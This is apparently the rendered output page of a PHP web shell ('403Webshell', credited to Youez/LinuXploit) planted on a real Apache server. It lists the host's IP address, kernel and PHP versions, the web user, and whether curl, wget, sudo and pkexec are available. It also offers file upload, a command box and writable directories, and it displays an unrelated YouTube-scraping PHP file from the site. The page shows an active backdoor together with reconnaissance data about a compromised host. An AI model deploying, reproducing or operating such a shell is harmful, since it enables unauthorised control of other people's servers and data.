403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/video_gallery/admin/youtube/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/video_gallery/admin/youtube/sacdel.php
<?php

function get_js($videoid){
    static $iter = 0;
    $watchurl = "https://www.youtube.com/watch?v=" . $videoid;
        #watchinfo = opener.open(watchurl).read().decode("UTF-8")
        $watchinfo1 = fopen($watchurl,"rb");
        $watchinfo = stream_get_contents($watchinfo1);
        $title_regex = ";ytplayer.config = ({.*?});";
        preg_match_all($title_regex, $watchinfo, $title);
        $iter++;
        if(strlen($title[1][0]) < 500 && $iter < 20)return get_js($videoid);
        pre($title[1]);
        echo "\n\n\n".$iter."\n\n\n";
        $myjson = json_decode($title[1][0]);
        fclose($watchinfo1);
       //pre($myjson);
        $args = $myjson->args;
        
        $html5player = $myjson->assets->js;

        if(!strstr('//', $html5player))
            $html5player = "https:" + $html5player;
        #js = opener.open(html5player).read().decode("UTF-8")
        //$js = file_get_contents($html5player);
        $js = '';
        
        return [$js,$args];
}
get_js($argv[1]);

function pre($a){
    echo '<pre>';
       print_r($a);
    echo '</pre>';
}

Youez - 2016 - github.com/yon3zu
LinuXploit